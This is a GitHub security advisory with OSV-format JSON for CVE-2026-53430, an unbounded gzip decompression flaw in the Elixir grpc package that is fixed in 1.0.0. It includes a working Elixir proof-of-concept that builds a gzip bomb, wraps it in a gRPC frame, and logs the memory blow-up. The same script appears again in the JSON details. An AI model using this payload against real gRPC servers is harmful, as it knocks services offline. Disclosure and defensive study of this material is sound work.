GHSA-6CCX-9C9F-327W
Vulnerability from github – Published: 2026-08-25 18:12 – Updated: 2026-08-25 18:12Summary
An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).
Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba
Details
GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.
PoC
A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.
Impact
This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.
Scripts and Logs
# Verifies: Unbounded gzip decompression (decompression bomb)
Mix.install([{:grpc, "~> 0.9"}])
# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))
# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
<<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>
IO.puts(
"Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)
:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")
# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)
mem_after = :erlang.memory(:total)
IO.puts("Memory after: #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta: #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")
amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")
if byte_size(decompressed) == uncompressed_size do
IO.puts(
"VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
)
else
IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end
Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after: 403 MB
Delta: 358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.
{
"affected": [
{
"package": {
"ecosystem": "Hex",
"name": "grpc"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.0"
},
{
"fixed": "1.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53430"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T18:12:58Z",
"nvd_published_at": "2026-06-15T23:16:46Z",
"severity": "HIGH"
},
"details": "### Summary\nAn unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node\u0027s heap and triggering an OOM kill (denial of service).\n\nIntroduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba\n\n### Details\n`GRPC.Compressor.Gzip.decompress/1` (lib/grpc/compressor/gzip.ex:12-14) calls `:zlib.gunzip/1` directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a `GRPC.Compressor` implementation, it is invoked automatically whenever an incoming gRPC frame carries `grpc-encoding: gzip`. `:zlib.gunzip/1` allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server\u0027s `max_receive_message_length` is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.\n\n### PoC\nA script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node\u0027s memory usage will balloon and the VM will be OOM-killed after a single request.\n\n### Impact\nThis is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required \u2014 the attacker only needs to be able to reach the gRPC port and send a single crafted frame with `grpc-encoding: gzip`.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Unbounded gzip decompression (decompression bomb)\n\nMix.install([{:grpc, \"~\u003e 0.9\"}])\n\n# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.\nuncompressed_size = 200 * 1024 * 1024\nbomb_payload = :zlib.gzip(:binary.copy(\u003c\u003c0\u003e\u003e, uncompressed_size))\n\n# Wrap the bomb in a gRPC length-prefixed frame with the \"compressed\" flag (1)\n# set. This is the exact wire shape an outside peer would put on the socket\n# for a `grpc-encoding: gzip` message.\nframe =\n \u003c\u003c1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary\u003e\u003e\n\nIO.puts(\n \"Compressed bomb: #{byte_size(bomb_payload)} bytes -\u003e claims to expand to #{uncompressed_size} bytes\"\n)\n\n:erlang.garbage_collect()\nmem_before = :erlang.memory(:total)\nIO.puts(\"Memory before: #{div(mem_before, 1024 * 1024)} MB\")\n\n# Public entry point: GRPC.Message.from_data/2 is what the server\u0027s request\n# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2\n# DATA frame, once it has resolved the encoding header to a compressor module.\n# An outside attacker controls `frame`; the library is the trust boundary.\n{:ok, decompressed} =\n GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)\n\nmem_after = :erlang.memory(:total)\nIO.puts(\"Memory after: #{div(mem_after, 1024 * 1024)} MB\")\nIO.puts(\"Delta: #{div(mem_after - mem_before, 1024 * 1024)} MB\")\nIO.puts(\"Decompressed binary size: #{byte_size(decompressed)} bytes\")\n\namplification = byte_size(decompressed) / byte_size(bomb_payload)\nIO.puts(\"Amplification ratio: ~#{Float.round(amplification, 1)}x\")\n\nif byte_size(decompressed) == uncompressed_size do\n IO.puts(\n \"VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload.\"\n )\nelse\n IO.puts(\"NOT VERIFIED: decompressed size did not match expected payload\")\nend\n```\n\n```logs\nCompressed bomb: 203860 bytes -\u003e claims to expand to 209715200 bytes\nMemory before: 45 MB\nMemory after: 403 MB\nDelta: 358 MB\nDecompressed binary size: 209715200 bytes\nAmplification ratio: ~1028.7x\nVERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.\n```",
"id": "GHSA-6ccx-9c9f-327w",
"modified": "2026-08-25T18:12:58Z",
"published": "2026-08-25T18:12:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/elixir-grpc/grpc/security/advisories/GHSA-6ccx-9c9f-327w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53430"
},
{
"type": "WEB",
"url": "https://github.com/elixir-grpc/grpc/pull/543"
},
{
"type": "WEB",
"url": "https://github.com/elixir-grpc/grpc/commit/1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc"
},
{
"type": "WEB",
"url": "https://cna.erlef.org/cves/CVE-2026-53430.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/elixir-grpc/grpc"
},
{
"type": "WEB",
"url": "https://github.com/elixir-grpc/grpc/releases/tag/v1.0.0"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-53430"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "gRPC Erlang package has unbounded gzip decompression (decompression bomb)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.